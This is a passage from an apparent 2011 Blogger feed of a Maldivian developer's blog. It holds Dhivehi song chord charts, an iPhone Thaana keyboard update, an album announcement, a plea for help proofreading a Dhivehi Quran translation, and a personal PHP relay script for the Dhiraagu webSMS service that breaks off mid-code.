govaa kolve[A#]leege aduthah&lt;br /&gt;[Gm]Dhooni udhuhey [F]hiyanithah&lt;br /&gt;[A#]Mas mahaa vela[F]yaa eh bolithah&lt;br /&gt;[Gm]Russenee hini[Am7]thun vamun&lt;br /&gt;{/bridge}&lt;br /&gt;&lt;br /&gt;{a: Chorus}&lt;br /&gt;{chorus}&lt;br /&gt;[Cmaj7]Reethi handhuvaru [F]rey dhekifaa&lt;br /&gt;[Cmaj7]Beehi dhe athun [F]fan vathugaa&lt;br /&gt;[A#]Roalhi vee hindhu&lt;br /&gt;[F]Fun assarakun&lt;br /&gt;[D#]Loabi raki hini[F]thun vevilaa x 2&lt;br /&gt;{/chorus}&lt;br /&gt;&lt;br /&gt;Hmmmm hmmm mmm&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-1989248700767348796?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/1989248700767348796/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/05/guitar-chords-reethi-handhuvar-zero.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1989248700767348796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/1989248700767348796'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/05/guitar-chords-reethi-handhuvar-zero.html' title='Guitar Chords: Reethi handhuvar (Zero Degree Atoll)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-8264973818499915954</id><published>2011-05-19T00:05:00.001+08:00</published><updated>2011-05-19T00:05:11.381+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><category scheme='http://www.blogger.com/atom/ns#' term='dhivehi'/><title type='text'>Guitar Chords: Mulhizindhagee (hithaamain)</title><content type='html'>&lt;p&gt;This is track on the album "&lt;strong&gt;Eyzamaanaa&lt;/strong&gt;" by "&lt;strong&gt;The out of Doors Maldives&lt;/strong&gt;" (&lt;a href="http://www.kudanai.com/2011/03/eyzamaanaa-album-now-available-on.html"&gt;now available on iTunes&lt;/a&gt;). Incidentally the same chords apply to Ali Rameez's version titled "Thiya Loabivaage Loibah". Enjoy.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;pre class="brush:ch"&gt;{t: Mulhizindhagee}&lt;br /&gt;{st: Artist: Out of Doors Maldives}&lt;br /&gt;{st: Album: Eyzamaana}&lt;br /&gt;&lt;br /&gt;{c: Intro Chords - G C Am D}&lt;br /&gt;&lt;br /&gt;[G]Mulhizindhagee hithaamain, huri haalakee miee [C]tho&lt;br /&gt;Edhi hiyaa[Am]lugaa mi[D]loabin aadheyskuree ruhey[G]tho&lt;br /&gt;[G]Mulhizindhagee hithaamain.....&lt;br /&gt;&lt;br /&gt;[G]Dhehvaanu hey, [C]rahmaai ekee va[G]faa X2&lt;br /&gt;&lt;br /&gt;[G]Eh ummathah thakaaves, ekuverivelaanu tho [C]ey&lt;br /&gt;Edhi hiyaa[Am]lugaa mi[D]loabin, aadheys kuree ruhey[G]tho&lt;br /&gt;[G]Mulhizindhagee hithaamain...&lt;br /&gt;&lt;br /&gt;{c: interlude riff  G C Am D}&lt;br /&gt;&lt;br /&gt;[G]Gendhaanuhey udu[C]gaa hin’gaa va[G]yaa X2&lt;br /&gt;&lt;br /&gt;[G]Hah’gahtakaa miloabin, haaluge dhulun bunee[C]mey&lt;br /&gt;Edhi hiyaa[Am]lugaa miloabin aadheyskuree ruhey[G]tho&lt;br /&gt;[G]Mulhizindhagee hithaamain&lt;br /&gt;&lt;br /&gt;{c: Interlude Riff G C Am D}&lt;br /&gt;&lt;br /&gt;[G]Annaanuhey ufa[C]lun nikan ka[G]laa X2&lt;br /&gt;&lt;br /&gt;[G]Mithurah Takaa in’geythoa gurubaan vumun hagee[C]gee&lt;br /&gt;Edhi hiyaa[Am]lugaa mi[D]loabin aadheyskuree ruhey[G]tho&lt;br /&gt;&lt;br /&gt;[G]Mulhizindhagee hithaamain, huri haalakee miee [C]tho&lt;br /&gt;Edhi hiyaa[Am]lugaa mi[D]loabin aadheyskuree ruhey[G]tho&lt;br /&gt;[G]Mulhizindhagee hithaamain.....&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-8264973818499915954?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/8264973818499915954/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/05/guitar-chords-mulhizindhagee-hithaamain.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8264973818499915954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8264973818499915954'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/05/guitar-chords-mulhizindhagee-hithaamain.html' title='Guitar Chords: Mulhizindhagee (hithaamain)'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4287575646576875278</id><published>2011-05-01T12:25:00.005+08:00</published><updated>2011-05-20T19:21:57.156+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='announcements'/><category scheme='http://www.blogger.com/atom/ns#' term='thaana'/><category scheme='http://www.blogger.com/atom/ns#' term='dhivehi'/><title type='text'>iThaana for iPhone 4.3.x</title><content type='html'>&lt;div style="text-align: left;" dir="ltr"&gt;Firstly, allow me to apologize for the delay in packaging the keyboard/font package for iPhone for firmwares 4.3 upwards...I have been really rather busy with a lot of things of late, and I have been taking some..personal time. I'm sorry to have kept a lot of you guys waiting. I am touched by the amount of emails that you've sent.&lt;br /&gt; &lt;br /&gt; &lt;a href="http://afxal.com/"&gt;afxal&lt;/a&gt; and I are working to release the update soon enough, and will hopefully make it available within the week.&lt;br /&gt; &lt;br /&gt; There is an important side-note here though; &lt;em style="font-weight: bold;"&gt;&lt;span style="color: #999999; font-size: large;"&gt;I had originally planned to improve and release the keyboard as a commercial package&lt;/span&gt;. &lt;/em&gt;However, after a long battle with me conscience I decided to keep the package free for now. I do not however, guarantee that future versions will be free.&lt;br /&gt; &lt;br /&gt; There are a few reasons for this:&lt;br /&gt; &lt;br /&gt; &lt;ol style="text-align: left;"&gt;&lt;li&gt;I am a college student trying to earn an education - and this costs money.&lt;/li&gt;&lt;li&gt;I am starting to get sick of commercial entities (yes...you) grossly misappropriating and continuing to exploit our work for monetary gain...&lt;/li&gt;&lt;li&gt;I have no monetary goals, but a little retribution is always welcome. (Please contact me on twitter or facebook if you would like to make a donation.)&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div style="text-align: left;" dir="ltr"&gt;&lt;br /&gt; &lt;br /&gt; So keep a lookout. Updated packages will be made available on m0bi repo. &amp;lt; http://www.m0bi.com/cydia&amp;gt;&lt;/div&gt;&lt;div style="text-align: left;" dir="ltr"&gt;&lt;/div&gt;&lt;div style="text-align: left;" dir="ltr"&gt;As with the previous releases, I am releasing it under the terms lf &lt;a href="http://www.gnu.org/copyleft/lesser.html"&gt;GNULesser/LGPL&lt;/a&gt;, so if you are not familiar with the terms, please read up on them.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4287575646576875278?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4287575646576875278/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/05/ithaana-for-iphone-431.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4287575646576875278'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4287575646576875278'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/05/ithaana-for-iphone-431.html' title='iThaana for iPhone 4.3.x'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-8954372554682275997</id><published>2011-03-17T23:01:00.000+08:00</published><updated>2011-03-17T23:01:53.519+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='music'/><title type='text'>"Eyzamaanaa" album now available on iTunes.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh6.googleusercontent.com/-7Fr8S54kOTA/TXJV-iwFSgI/AAAAAAAAAVY/UcmFAK9ry5Y/s1600/40403_127452157300653_127180880661114_147859_6941023_n.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="200" src="https://lh6.googleusercontent.com/-7Fr8S54kOTA/TXJV-iwFSgI/AAAAAAAAAVY/UcmFAK9ry5Y/s200/40403_127452157300653_127180880661114_147859_6941023_n.png" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;Eyzamaanaa has been in the making for a long time now, and it's wonderful to see the album finally out and selling. It features some timeless classics brought to you in the unique and relaxing style that is the signature of Abcy. If you are a fan of this&amp;nbsp;truly&amp;nbsp;Maldivian and unique style of music, then this is an album you cannot afford to miss.&lt;br /&gt;&lt;br /&gt;The album is available in various outlets&amp;nbsp;(Shellbeans, some resorts etc)&amp;nbsp;in and around Maldives , and also on iTunes.&lt;br /&gt;&lt;br /&gt;Visit the iTunes store here &lt;a href="http://itunes.apple.com/us/artist/out-of-doors-maldives/id422307514?uo=4" target="itunes_store"&gt;&lt;img alt="Out of Doors Maldives" src="http://ax.phobos.apple.com.edgesuite.net/images/web/linkmaker/badge_itunes-lrg.gif" style="border: 0;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;also visit&lt;a href="http://www.facebook.com/pages/Lavakiyaa-Abcy/127180880661114"&gt; Abcy's fan page on Facebook&lt;/a&gt; to hear some sample tracks. Don't miss Luba's version of &lt;b&gt;&lt;a href="http://www.kudanai.com/2010/07/guitar-chords-ey-hithaa.html"&gt;Ey Hithaa&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-8954372554682275997?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/8954372554682275997/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/03/eyzamaanaa-album-now-available-on.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8954372554682275997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/8954372554682275997'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/03/eyzamaanaa-album-now-available-on.html' title='&quot;Eyzamaanaa&quot; album now available on iTunes.'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh6.googleusercontent.com/-7Fr8S54kOTA/TXJV-iwFSgI/AAAAAAAAAVY/UcmFAK9ry5Y/s72-c/40403_127452157300653_127180880661114_147859_6941023_n.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4681806778370709519</id><published>2011-02-26T23:03:00.001+08:00</published><updated>2011-03-05T23:57:02.156+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='zekr'/><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='thaana'/><category scheme='http://www.blogger.com/atom/ns#' term='rants'/><category scheme='http://www.blogger.com/atom/ns#' term='Quran'/><category scheme='http://www.blogger.com/atom/ns#' term='dhivehi'/><title type='text'>Quran Translation needs Your Help.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;I understand that the text here might seem a little long and boring, but please bear with me. This is important. If you must skim, please read the last few paragraphs.&lt;br /&gt;&lt;br /&gt;About an year ago, I grew frustrated with the lack of a readily usable version of the Quran translation in Dhivehi. Back then, I wanted to be able to use the Dhivehi translation with &lt;a href="http://zekr.org/"&gt;Zekr&lt;/a&gt;;&amp;nbsp;a free (as in freedom) versatile open source Quranic study tool that came standard with a multitude of translations, recitations, localizations and so forth. I wished that the Dhivehi translation was also included among these for everyone to benefit from. For this, I needed a standards compliant plaintext UNICODE version of the translation which, needless to say was not available.&lt;br /&gt;&lt;br /&gt;I searched high and low to find such a text.&amp;nbsp;The PDF's available on &lt;a href="http://presidencymaldives.gov.mv/quran/"&gt;Presidency Maldives&lt;/a&gt;&amp;nbsp;where just that. PDF's from which - despited many hours spent trying - nothing "useful" could be extracted. All the while, interest in the efforts grew, and a few of my friends (Bunyameen, his brothers, Nisham, Nadheem and so on to name a few) volunteered to help.&lt;br /&gt;&lt;br /&gt;We approached the Islamic Ministry, the Presidents Office, and all our friends in nooks and crannies of the government trying to obtain in the very least, an MS Word document that we could work with. None of these people were willing to part with anything useful - officially stating the reason that the subject of the Quran Translation was too "volatile" for them to release it. That there were people looking for commercial/political/religious/social/etc gain from the text.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After it became apparent that this avenue was futile, we decided that the best and most "politically stable" way to go would be to type the whole thing out all over again. So we began this tall task not knowing if we'd ever be able to finish it. God willing, our small group, along with help from the impressing juggernaut that is &lt;a href="http://moss.org.mv/"&gt;Maldives Open Source Society&lt;/a&gt;&amp;nbsp;were able to compile a usable enough package. Some of it was typed. Some of it was copy-pasted from various sources here and there.&lt;br /&gt;&lt;br /&gt;We reviewed the whole thing best as we could, and contributed it to the &lt;a href="http://zekr.org/"&gt;Zekr&lt;/a&gt; and &lt;a href="http://tanzil.info/"&gt;Tanzil&lt;/a&gt;&amp;nbsp;(the de-facto hub for collecting all such translations). &lt;a href="http://mohamedmalik.com/"&gt;Malik&lt;/a&gt;&amp;nbsp;(who played an instrumental role in the success of this project) and I (as MOSS) approached the islamic ministry, hoping they would review the text for errors. It took them a few months to tell us that they in fact, could not help us. We would have to approach the Presidents Office because they held the rights to it.&lt;br /&gt;&lt;br /&gt;We then approached the Presidents Office for review and permission to make the text available for the public. Free of cost. After much negotiations and a meeting with those involved in the project, and press secretary Mohamed Zuhair it was agreed that we could release it as long as it met the following conditions:&lt;br /&gt;&lt;br /&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;The text should not be used for commercial purposes.&lt;/li&gt;&lt;li&gt;The text should be released as is in the official publication, without modifications.&lt;/li&gt;&lt;li&gt;Presidents Office should be cited as THE SOURCE of the translation.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;We had no problems with these terms. So we were happy. Our mission - for the most part - had been accomplished. We were promised a formal document in writing. The paperwork was put in - and as with all things related to a&amp;nbsp;bureaucracy - soon lost and forgotten. Perhaps someday it will be found again and finalized.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The text turned out to be a blessing for many and began to be used widely. I myself put the&lt;a href="http://www.kudanai.com/2010/09/iphone-dhivehi-quran-translation.html"&gt;&amp;nbsp;text in an iphone app&lt;/a&gt;&amp;nbsp;and with&amp;nbsp;&lt;a href="http://afxal.com/"&gt;Afxal's&lt;/a&gt;&amp;nbsp;help, distributed it to the public. From the server stats, I can confidently say that a very significant portion of the Maldivian iPhone&amp;nbsp;wielding populace are using it.&amp;nbsp;I am told by a very good source that the former president Maumoon himself reviewed it, and was pleased to see his lifetimes work being put to good use.&lt;br /&gt;&lt;br /&gt;The text is also now freely viewable on Tanzil.info, and is also downloadable for use with Zekr from their website.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Soon after we released the text (a week at most) , we saw a local website crop up utilizing the text.&amp;nbsp;&lt;a href="http://quran.mv/"&gt;quran.mv&lt;/a&gt;&amp;nbsp;was designed to be a&amp;nbsp;scholarly&amp;nbsp;research tool, with particular empasis on being easy to search - A job that it does very well. We approached the developers of &lt;a href="http://quran.mv/"&gt;quran.mv&lt;/a&gt; and decided to&amp;nbsp;collaborate&amp;nbsp;on improving,updating and maintaining the text. This collaboration is still ongoing. *note: The developer of the site told us that they had built the site ages ago, but could not launch it because they too didn't have anything usable.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We were also approached by a group of independent software developers who informed us that they had been working on a Quran software for some years now. They're agenda however was completely different from ours. While we wished a free to use, free to share, pure, verified and properly credited text - they wanted a commercialized version with their name on it. The debate was long and hard, but in the end we decided to both go our own ways. While I do not discourage business ventures like this, I do not agree that these things should be&amp;nbsp;monopolized.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now this is all very well. &lt;b&gt;However, there is, a downside to this story. &lt;/b&gt;While all of this was going on, we became increasingly aware that the text contained some typographical errors, and that SOME ayat's translations were still in the "Old" (much&amp;nbsp;controversial) version.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So we began work to update the text and correct the mistakes we found. Our brothers Hamid and Mohsen from tanzil and zekr projects (resp). were a great help. Meanwhile, we once tried again to obtain a soft copy from the Presidents Office. We were soon horrified to learn however, that the Presidents office only had a Adobe InDesign document - in which they made the corrections directly. They were naturally unwilling to part with this. I must note here however, that our principal liason with the presidents office was extremely helpful and sympathetic to our cause. In all honesty, there was so much he could also do for us. It was out of his hands.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We approached a few scholars who might have been able to help us. Some refused to, some could not give us the time and some did the best they could. We are only a group of individuals working on these things in our free time. We do not have the resources to launch a one off project to rectify all these errors in one go, even though that would be truly wonderful.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So now we come to point of all this. It is a simple plea to all of you out there. &lt;b&gt;Please&lt;/b&gt;, help us proof read and update the text. If you happen to be reading through &lt;a href="http://quran.mv/"&gt;quran.mv&lt;/a&gt;, or &lt;a href="http://tanzil.info/"&gt;tanzil.info&lt;/a&gt;&amp;nbsp;and come across any typo's or aayat's with old translations, please email them to me at &lt;a href="mailto:quran@kudanai.com"&gt;quran@kudanai.com&lt;/a&gt;&amp;nbsp;in the following format:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Surah:Ayah&lt;/div&gt;&lt;div&gt;[CORRECTED TEXT]&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Please note the following things BEFORE emailing a correction.&lt;/div&gt;&lt;div&gt;&lt;ol style="text-align: left;"&gt;&lt;li&gt;We are not interested in what you THINK is the correct meaning of the aayat. We only want what's written in the official publication. Word for word, fili for fili.&lt;/li&gt;&lt;li&gt;Keep the arabic phrases in arabic. DO NOT transliterate them. That is a job for another time.&lt;/li&gt;&lt;li&gt;If you see an Aayat with &amp;nbsp;a "-" for a translation, it is NOT MISSING. It simply means that that aayat and the ones after it have a combined translation.&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;There is no political or monetary agenda here&lt;/span&gt;. Only the free and open distribution of knowledge. That is all&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Thank you all.&lt;/div&gt;&lt;div&gt;Salaam.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/180738146708053206-4681806778370709519?l=www.kudanai.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.kudanai.com/feeds/4681806778370709519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.kudanai.com/2011/02/quran-translation-needs-your-help.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4681806778370709519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/180738146708053206/posts/default/4681806778370709519'/><link rel='alternate' type='text/html' href='http://www.kudanai.com/2011/02/quran-translation-needs-your-help.html' title='Quran Translation needs Your Help.'/><author><name>SoE</name><uri>http://www.blogger.com/profile/00484927113635908032</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://bp3.blogger.com/_bwme_BmmviI/SGPJpPXejVI/AAAAAAAAACg/hvlKFvih32I/S220/IMG_5701_orig.JPG'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-180738146708053206.post-4237490482186587571</id><published>2011-02-05T04:18:00.007+08:00</published><updated>2011-02-05T12:20:55.773+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='dhiraagu'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='cURL'/><title type='text'>Dhiraagu webSMS Conduit</title><content type='html'>I posted a &lt;a href="http://www.kudanai.com/2008/11/bash-script-dhiraagu-websms.html" target="_blank" title="bash script"&gt;simple bash script&lt;/a&gt; a long time ago to try and ease the process of sending webSMS's.&amp;nbsp;While the age when everybody around here was messing around with the service is long gone, I have personally found the service to be quite useful (it's free after all!), and still occasionally mess around with it. The script works through and through and has served it's purpose well over the ages. The problem however, was that it still required the exchange of a (relatively) large amount of data between the client (me) and the server(Dhiraagu). While this is inconsequential on a regular broadband connection, it is a problem on my rather expensive mobile data connection.&lt;br /&gt;&lt;br /&gt;Thus, out of this particular need, and after a brief spurt of late night coding (4:00 am - 4:15am?) the following PHP script was born. It is to live on my hosted server, and there act as a "Conduit" between myself and Dhiraagu. As you can see, it is, more or less, a "port" of the original Bash script to PHP...and I hope the PHP gods won't rain thunder and rocks on my head for the horrible job I did of it.&lt;br /&gt;&lt;br /&gt;I do wish however that the people at Dhiraagu would update this site, and maybe provide a simple API or something to developers. They also need to reconsider the security..for instance an unexpected upshot of all this, is that THIS script allows me to use SSL between myself and my conduit. Dhiraagu itself doesn't provide this functionality. Not that I think it's of particular relevance, but SSL is always a good thing.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;b&gt;FUN FACT: No matter how long your webSMS password is, only the first 8 characters matter (I'll admit 8 isn't so bad..)&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Anyways...here be the thing.&lt;br /&gt;&lt;br /&gt;Enjoy.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush:php"&gt;&amp;lt;?php&lt;br /&gt;/*....&lt;br /&gt;PHP script to act as a go-between for Dhiraagu websms&lt;br /&gt;to minimize data-exchange. Ideally for use over a&lt;br /&gt;mobile network.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;just upload the php file to some place that supports&lt;br /&gt;php_curl and make a standard GET request to the file&lt;br /&gt;with the follwing parameters:&lt;br /&gt; &lt;br /&gt;user,pass,num,msg,cookie&lt;br /&gt; &lt;br /&gt;where cookie is optional, and is the session string of&lt;br /&gt;an existing session.&lt;br /&gt; &lt;br /&gt;The Script returns a JSON encoded status message.&lt;br /&gt;*/&lt;br /&gt; &lt;br /&gt;$old_error_handler = set_error_handler("myErrorHandler");&lt;br /&gt;$SessionData=array(&lt;br /&gt;'status' =&gt; 'OK',&lt;br /&gt;'count' =&gt; NULL,&lt;br /&gt;'cookie' =&gt; NULL,&lt;br /&gt;'retries' =&gt; 0,&lt;br /&gt;);&lt;br /&gt; &lt;br /&gt;function terminate_now() {&lt;br /&gt;    global $SessionData;&lt;br /&gt;    echo json_encode($SessionData)."\n";&lt;br /&gt;    exit(1);&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;function myErrorHandler($errno, $errstr, $errfile, $errline)&lt;br /&gt;{&lt;br /&gt;     &lt;br /&gt;    global $SessionData;&lt;br /&gt;    if (!(error_reporting() &amp; $errno)) {&lt;br /&gt;        return;&lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;    switch ($errno) {&lt;br /&gt;        case E_USER_ERROR:&lt;br /&gt;        $SessionData['status']="ERR: ".$errstr;&lt;br /&gt;        terminate_now();&lt;br /&gt;        break;&lt;br /&gt;         &lt;br /&gt;        case E_USER_WARNING:&lt;br /&gt;        $SessionData['status']="WARN: ".$errstr;&lt;br /&gt;        break;&lt;br /&gt;         &lt;br /&gt;        default:&lt;br /&gt;        $SessionData['status']="ERRUNKWN: ".$errstr;&lt;br /&gt;        terminate_now();&lt;br /&gt;        break;&lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;    return true;&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;function make_curl_request($url,$post_params,$useCookie) {&lt;br /&gt;     &lt;br /&gt;    global $SessionData;&lt;br /&gt;     &lt;br /&gt;    $ch = curl_init($url);&lt;br /&gt;    curl_setopt($ch, CURLOPT_HEADER, 0);&lt;br /&gt;    curl_setopt($ch,CURLOPT_AUTOREFERER,1);&lt;br /&gt;    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);&lt;br /&gt;    curl_setopt($ch,CURLOPT_HEADER,1);&lt;br /&gt;    curl_setopt($ch, CURLOPT_POST, 2);&lt;br /&gt;    curl_setopt($ch, CURLOPT_POSTFIELDS,$post_params);&lt;br /&gt;    curl_setopt($ch,CURLOPT_COOKIESESSION,1);&lt;br /&gt;    if($useCookie) {&lt;br /&gt;        curl_setopt($ch,CURLOPT_COOKIE,'Dhi='.$SessionData['cookie']);&lt;br /&gt;    }&lt;br /&gt;    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;     &lt;br /&gt;    $output = curl_exec($ch);&lt;br /&gt;    curl_close($ch);&lt;br /&gt;     &lt;br /&gt;    return $output;&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;function login()&lt;br /&gt;{&lt;br /&gt;    global $SessionData;&lt;br /&gt;    $username=$_GET['user'];&lt;br /&gt;    $password=$_GET['pass'];&lt;br /&gt;     &lt;br /&gt;    $return=make_curl_request('http://websms.dhimobile.com.mv/cgi-bin/websms/index.pl',&lt;br /&gt;    'username='.urlencode($username).'&amp;password='.urlencode($password),FALSE);&lt;br /&gt;     &lt;br /&gt;    if(preg_match('/^Set-Cookie: Dhi=(.*?);/m', $return, $cookie_out)) {&lt;br /&gt;        $SessionData['cookie']=$cookie_out[1];&lt;br /&gt;         &lt;br /&gt;        //CHECK DAILY QUOTA&lt;br /&gt;        if(preg_match('/send (.*?) more/',$return,$msg_count)) {&lt;br /&gt;            if(($SessionData['count']=$msg_count[1])&lt;1){&lt;br /&gt;                trigger_error('You have Reached your Daily Quota',E_USER_ERROR);&lt;br /&gt;                 &lt;br /&gt;                } else {&lt;br /&gt;                sendsms();&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        return true;&lt;br /&gt;         &lt;br /&gt;        } else {&lt;br /&gt;        trigger_error('Invalid Username andor Password',E_USER_ERROR);&lt;br /&gt;        return false;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;function sendsms() {&lt;br /&gt;     &lt;br /&gt;    global $SessionData;&lt;br /&gt;    $number=$_GET['num'];&lt;br /&gt;    $message=$_GET['msg'];&lt;br /&gt;     &lt;br /&gt;    if(strlen($message) &gt; 140) {&lt;br /&gt;        trigger_error('Message Truncated',E_USER_WARNING);&lt;br /&gt;        $message=substr($message,0,140);&lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;    $return=make_curl_request('http://websms.dhimobile.com.mv/cgi-bin/websms/send_message.pl',&lt;br /&gt;    'mobilenumber='.urlencode($number).'&amp;message='.urlencode($message),TRUE);&lt;br /&gt;     &lt;br /&gt;    //VALIDATE THE RETURN STUFF&lt;br /&gt;    if(preg_match('/send (.*?) more/',$return,$msg_count)) {&lt;br /&gt;        $SessionData['count']=$msg_count[1];&lt;br /&gt;        } else 